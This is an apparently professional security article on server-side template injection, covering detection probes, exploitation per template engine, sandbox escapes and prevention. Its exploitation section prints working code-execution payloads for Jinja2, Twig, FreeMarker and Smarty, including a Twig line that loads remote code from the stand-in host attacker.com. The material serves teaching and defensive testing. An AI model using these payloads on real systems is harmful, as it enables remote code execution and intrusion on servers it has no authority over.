Server-Side Template Injection: From Template Engines to Code Execution
Template engines exist to keep presentation logic separate from application logic. Instead of building HTML strings through concatenation, developers write templates with placeholder syntax — {{ user.name }}, ${item.price}, <%= record.id %> — and the engine substitutes real values at render time. The result is cleaner code, consistent output formatting, and a clear boundary between what the application computes and what it displays.
That boundary is exactly what server-side template injection destroys.
SSTI occurs when user-supplied input reaches the template string itself, not just the data context passed to it. When the engine renders the template, it evaluates the injected syntax as code. The attacker is no longer providing data to a template — they are writing the template. And template engines are designed to execute code.
The Difference Between Safe and Vulnerable
Understanding SSTI requires understanding one distinction: the difference between passing user input as template data versus embedding user input in the template string.
The safe pattern:
# User input goes into the data context — template is static
template = env.get_template("welcome.html")
output = template.render(username=user_input)The template file welcome.html contains:
Welcome, {{ username }}!
The engine substitutes the value of username from the context. Whatever user_input contains — including template syntax — is treated as a string value, not as executable template code. If user_input is {{ 7 * 7 }}, the output is Welcome, {{ 7 * 7 }}! — the literal string, not Welcome, 49!.
The vulnerable pattern:
# User input is embedded directly in the template string
template_string = f"Welcome, {user_input}!"
output = env.from_string(template_string).render()Now the template string itself contains whatever the user submitted. If user_input is {{ 7 * 7 }}, the engine sees Welcome, {{ 7 * 7 }}! as the template and evaluates the expression. The output is Welcome, 49!.
This is the root cause of every SSTI vulnerability: user input treated as template code rather than template data.
How SSTI Arises in Real Applications
The vulnerable pattern appears in several common scenarios.
Custom notification and email templates. Applications that allow users or administrators to define their own message templates — onboarding emails, invoice formats, notification bodies — often store and render user-defined template strings. When the template engine renders these strings directly, any template syntax embedded by the author is executed.
Error messages rendered from user input. Some applications build error messages or confirmation strings using user-submitted values: f"Could not find {user_submitted_search_term} in our records." If this string is then passed to a template engine for rendering with other page components, the user input is evaluated as part of the template.
Dynamic report generation. Reporting systems that let users define custom column names, field formats, or output templates sometimes use a template engine to render the final output. If user-defined format strings are passed directly to the engine, they become template code.
URL or path parameters rendered into templates. Applications that read a parameter from a URL — a category name, a product slug, a language code — and embed it into a template string before rendering are vulnerable to SSTI through those parameters.
In each case, the developer intended for user input to produce dynamic output. The failure was not accounting for the template engine's expression evaluation capabilities.
Detection
Polyglot Probes
The first step in identifying SSTI is confirming that template syntax is being evaluated. Polyglot probes cover multiple engines simultaneously:
${{<%[%'"}}%\
This string contains syntax from Jinja2, FreeMarker, Smarty, and ERB. If the application throws an engine-specific error, the template engine is identified. If it renders normally, the input may be reflected as-is (no SSTI) or may need different syntax.
More targeted probes test mathematical evaluation:
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
If any of these return 49 in the response, the corresponding template engine is evaluating the input. The rendered value 49 can only appear if the expression 7*7 was executed — there is no way to produce it through string reflection alone.
Distinguishing SSTI from XSS
An input like {{7*7}} that returns 49 confirms SSTI, not XSS. XSS would reflect the literal string {{7*7}} (or an HTML-encoded version of it) for a browser to parse. SSTI evaluates it on the server before sending any response.
A common confusion arises when an application reflects {{7*7}} literally — this could mean SSTI is absent, or it could mean the syntax is wrong for the engine in use. Testing multiple probe syntaxes eliminates ambiguity.
Blind Detection
Some applications render templates without reflecting output directly — confirmation pages, background processing, asynchronous jobs. Blind SSTI can be confirmed through:
- Time delays: Expressions that cause the server to sleep for a measurable period
- Out-of-band requests: DNS or HTTP callbacks to an attacker-controlled server triggered by a template expression that makes an outbound request
- Error-based: Inputs crafted to cause engine-specific errors that appear in logs or monitoring
Exploitation by Template Engine
Jinja2 (Python)
Jinja2 is the most commonly exploited SSTI target. The attack chain traverses Python's object model to reach classes that can execute system commands.
Confirming Jinja2 evaluation:
{{7*'7'}}
In Jinja2, this produces 7777777 — a string repeated seven times. In Twig, the same expression would produce 49. This mathematical behavior distinguishes the two engines.
Escalating to code execution exploits Python's class hierarchy. Every string object in Python inherits from object, and object.__subclasses__() returns all currently loaded classes in the Python runtime. Some of those subclasses can execute commands:
{{ ''.__class__.__mro__[1].__subclasses__() }}
This returns a list of all loaded classes. The index of useful classes (like subprocess.Popen or os._wrap_close) varies depending on what the application has imported. Once the correct index is identified:
{{ ''.__class__.__mro__[1].__subclasses__()[<index>]('id', shell=True, stdout=-1).communicate() }}
The output of the id command appears in the rendered response.
A more direct path when config or request objects are available in the template context:
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
This accesses the os module through the global namespace of the config object's __init__ method, then calls popen directly.
Twig (PHP)
Twig is the standard template engine in Symfony-based PHP applications. SSTI in Twig follows a different path because PHP's object model differs from Python's.
Confirming Twig:
{{7*'7'}}
In Twig, this produces 49 (numeric multiplication). This distinguishes it from Jinja2.
Twig provides access to the _self variable, which exposes engine internals:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
This registers PHP's exec function as a filter, then calls it with id as the argument. The output of the command appears as the filter's return value.
Alternatively, with Twig versions that expose the Environment object:
{{_self.env.setCache("ftp://attacker.com/exploit.php")}}{{_self.env.loadTemplate("exploit")}}
FreeMarker (Java)
FreeMarker is widely used in Java enterprise applications. Its template language includes a directive for executing arbitrary Java expressions:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
The Execute class in FreeMarker's utility package is designed for executing system commands. When accessible from templates, it provides direct command execution with a single directive.
Smarty (PHP)
Smarty's {php} tag executes raw PHP when available (older versions):
{php}echo `id`;{/php}
In newer Smarty versions where {php} is disabled, the {Smarty.template} variable and the fetch function can be abused to read arbitrary files:
{self::clearConfig()}
Sandbox bypass techniques vary by version and are documented in the engine's changelog.
Sandbox Escapes
Template engine developers are aware of SSTI risks. Most modern engines offer sandbox modes that restrict expression evaluation — blocking access to dangerous classes, limiting available functions, or preventing access to the underlying runtime's object model.
Sandboxes slow attackers but rarely stop them entirely. Common bypass techniques:
- Class traversal through allowed objects: If the sandbox permits access to any Python object, the
__class__and__mro__chains can still be traversed from that starting point - Attribute access through string construction: Building attribute names as strings to evade static blocklists (
getattr(obj, '__'+'class__')) - Using built-in functions not explicitly blocked: The sandbox often allowlists specific names, but the full set of dangerous operations is large enough that something is usually omitted
- Engine version differences: Sandbox implementations differ between engine versions; an older version may have known bypass techniques
Defense-in-depth means that even when a sandbox is present, the underlying vulnerability should be fixed — the sandbox is not a substitute for separating user input from template strings.
Prevention
Separate Templates from Data
The definitive fix: never construct template strings from user input. Templates live in code or files controlled by the application. User input is passed as a data context:
# Correct: template is static, data is dynamic
template = env.get_template("confirmation.html")
output = template.render(message=user_message, order_id=order.id)# Wrong: user input becomes part of the template
template_string = f"Your message: {user_message}"
output = env.from_string(template_string).render()This single rule eliminates SSTI entirely. If user input never reaches the template string, the engine cannot evaluate it as code.
Use Logic-Less Engines for User-Defined Templates
If the application has a legitimate requirement for user-defined templates — custom email formats, report layouts, notification text — use a logic-less template engine that has no expression evaluation capability.
Mustache is the canonical example. Mustache templates support variable substitution ({{variable}}) but contain no expression evaluation, no method calls, and no access to objects beyond the explicitly provided context. An attacker who injects Mustache syntax can only produce output based on the data context — they cannot traverse the runtime's object model.
Validate Template Syntax Before Storing
If user-defined templates using a full-featured engine are unavoidable, parse and validate the template before storing or executing it. Most engines expose a parse step that identifies syntax errors without executing code. A whitelist of permitted constructs — variable references, conditionals over the provided context — can be enforced by inspecting the parsed abstract syntax tree.
This approach is complex to implement correctly and should be treated as a last resort, not a first-line defense.
Run the Template Engine with Minimal Permissions
Apply the principle of least privilege to the process that renders templates. If the template engine runs in a container or isolated process with no access to sensitive files, environment variables, or network resources, a successful SSTI exploit has less to reach. This does not prevent code execution but limits what the attacker can do with it.
Enable Sandboxing as Defense-in-Depth
Enable the template engine's sandbox mode when available. This adds a layer of protection in case user input does reach a template string — but sandbox bypasses exist for every major engine, so this is a supplement to proper input handling, not a substitute for it.
Testing for SSTI
When assessing an application for SSTI:
- Identify reflection points — any location where user input appears in the rendered output
- Submit polyglot probes — test syntax from multiple engines and observe whether expressions are evaluated
- Identify the engine — use discriminating probes (like the
7*'7'test) to determine which engine is in use - Map available objects — determine what context variables and built-ins are accessible in the template environment
- Attempt escalation — follow the appropriate exploit chain for the identified engine, escalating from expression evaluation to object access to command execution
- Test sandbox boundaries — if a sandbox is active, assess whether known bypass techniques apply
Key Takeaways
Server-side template injection is a consequence of a structural mistake: treating user input as code rather than data. The fix is architectural, not cosmetic.
- Templates must be static strings that the application controls — user input provides values to templates, not the templates themselves
- Every template engine with expression evaluation capability is a potential code execution pathway if user input reaches the template string
- Detection requires probing for engine-specific evaluation, not just looking for reflection
- Sandboxes and input validation are defense-in-depth measures — the root fix is separating template construction from user data
- The severity is Critical: successful exploitation gives an attacker code execution in the context of the web server process
Need your application tested for template injection? Get in touch.